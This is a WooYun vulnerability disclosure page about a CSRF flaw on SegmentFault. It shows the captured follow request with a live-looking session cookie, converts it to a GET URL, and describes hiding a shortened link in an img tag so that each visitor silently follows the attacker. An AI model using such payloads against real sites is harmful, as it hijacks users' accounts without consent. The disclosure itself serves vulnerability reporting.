当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053404

漏洞标题:SegmentFault CSRF可刷粉丝

相关厂商:SegmentFault

漏洞作者: 计算姬

提交时间:2014-03-13 16:17

修复时间:2014-03-23 16:18

公开时间:2014-03-23 16:18

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-13: 细节已通知厂商并且等待厂商处理中
2014-03-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

SegmentFault CSRF可刷粉丝,提高声望

详细说明:

首先看看关注加粉的请求
POST /api/user HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://segmentfault.com/u/shamiao
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: segmentfault.com
Content-Length: 87
DNT: 1
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: sfsess=efE8BR.419a40dc0fee6993e2117601a944414c.a; __utma=224849432.1816156647.1394544888.1394544888.1394544888.1; __utmb=224849432.35.10.1394544888; __utmz=224849432.1394544888.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); Hm_lvt_e23800c454aa573c0ccb16b52665ac26=1394544888; __utmc=224849432; sfln_viewed=1; sfln_available=1; Hm_lpvt_e23800c454aa573c0ccb16b52665ac26=1394551689
sfsess=efE8BR.419a40dc0fee6993e2117601a944414c.a&do=follow&id=1030000000430499&cancel=0
其中id就是自己的id
虽然是POST请求,但是可以直接改成get请求
http://segmentfault.com/api/user/?sfsess=efE8BR.419a40dc0fee6993e2117601a944414c.a&do=follow&id=1030000000430499&cancel=0
经过短域名一下http://t.cn/8s76nMg
然后贴到个人网址,或者插入<img src=。。。。。。。
每有人点击一次即自动关注你

漏洞证明:

首先看看关注加粉的请求
POST /api/user HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://segmentfault.com/u/shamiao
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: segmentfault.com
Content-Length: 87
DNT: 1
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: sfsess=efE8BR.419a40dc0fee6993e2117601a944414c.a; __utma=224849432.1816156647.1394544888.1394544888.1394544888.1; __utmb=224849432.35.10.1394544888; __utmz=224849432.1394544888.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); Hm_lvt_e23800c454aa573c0ccb16b52665ac26=1394544888; __utmc=224849432; sfln_viewed=1; sfln_available=1; Hm_lpvt_e23800c454aa573c0ccb16b52665ac26=1394551689
sfsess=efE8BR.419a40dc0fee6993e2117601a944414c.a&do=follow&id=1030000000430499&cancel=0
其中id就是自己的id
虽然是POST请求,但是可以直接改成get请求
http://segmentfault.com/api/user/?sfsess=efE8BR.419a40dc0fee6993e2117601a944414c.a&do=follow&id=1030000000430499&cancel=0
经过短域名一下http://t.cn/8s76nMg
然后贴到个人网址,或者插入<img src=。。。。。。。
每有人点击一次即自动关注你

修复方案:

CSRF的修复有好多呢

版权声明:转载请注明来源 计算姬@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-03-23 16:18

厂商回复:

最新状态:

暂无